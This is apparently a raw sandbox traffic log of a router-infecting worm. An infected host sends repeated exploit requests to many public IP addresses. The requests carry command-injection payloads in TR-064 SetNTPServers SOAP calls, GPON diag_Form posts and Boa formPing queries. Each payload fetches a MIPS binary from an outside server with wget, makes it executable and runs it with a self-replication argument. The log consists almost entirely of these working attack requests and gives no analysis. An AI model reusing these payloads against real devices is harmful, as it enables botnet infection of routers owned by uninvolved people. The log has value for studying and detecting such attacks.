Apr 15, 2024 08:53:51.277112007 CEST	695	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1334	192.168.2.13	45218	115.1.111.23	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.358678102 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1335	192.168.2.13	50194	119.196.52.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.360399961 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1336	192.168.2.13	51406	79.97.251.1	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.421262026 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1337	192.168.2.13	32900	201.94.203.30	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.462238073 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:51.809225082 CEST	230	IN	HTTP/1.1 400 Bad Request Date: Mon Apr 15 00:34:09 2024 Server: TR069 client TCP connection request Server Content-Length: 21 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 43 6f 6e 6e 65 63 74 69 6f 6e 20 52 65 71 75 65 73 74 20 4f 4b Data Ascii: Connection Request OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
1338	192.168.2.13	46448	139.192.170.56	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.473488092 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:51.822642088 CEST	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1339	192.168.2.13	40958	108.159.219.217	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.613220930 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.821367025 CEST	1275	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Mon, 15 Apr 2024 06:53:51 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 38a66a6beb5518e3130d47aeef1684ba.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P4 X-Amz-Cf-Id: cKRrKQyrfYevYYCKcXLeMx3_20s6rOGE3YwgrjCfjFzliMsHBOhF7g== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 63 4b 52 72 4b 51 79 72 66 59 65 76 59 59 43 4b 63 58 4c 65 4d 78 33 5f 32 30 73 36 72 4f 47 45 33 59 77 67 72 6a 43 66 6a 46 7a 6c 69 4d 73 48 42 4f 68 46 37 67 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: cKRrKQyrfYevYYCKcXLeMx3_20s6rOGE3YwgrjCfjFzliMsHBOhF7g==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1340	192.168.2.13	37718	66.22.57.83	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:51.613250017 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:51.829921007 CEST	305	IN	HTTP/1.1 400 Bad Request Server: rdwr Date: Mon, 15 Apr 2024 06:53:51 GMT Content-Type: text/html Content-Length: 149 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 72 64 77 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>rdwr</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1341	192.168.2.13	36478	222.116.185.253	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:52.773561001 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:53.144361973 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1342	192.168.2.13	35132	183.116.193.44	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:52.778805017 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1343	192.168.2.13	47748	175.251.233.232	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:52.790028095 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1344	192.168.2.13	56726	197.203.82.105	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:52.815125942 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1345	192.168.2.13	48604	83.132.232.71	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:52.846390009 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1346	192.168.2.13	40724	62.30.18.221	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:52.895391941 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1347	192.168.2.13	49896	62.29.86.0	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:52.932761908 CEST	301	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
1348	192.168.2.13	39020	24.213.101.176	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.000148058 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1349	192.168.2.13	36494	222.116.185.253	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.059736967 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:53.440459967 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1350	192.168.2.13	35148	183.116.193.44	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.075773954 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1351	192.168.2.13	47764	175.251.233.232	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.091120005 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1352	192.168.2.13	36064	116.206.128.152	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:53.144598961 CEST	702	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp;wget http://213.232.235.166/mips;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
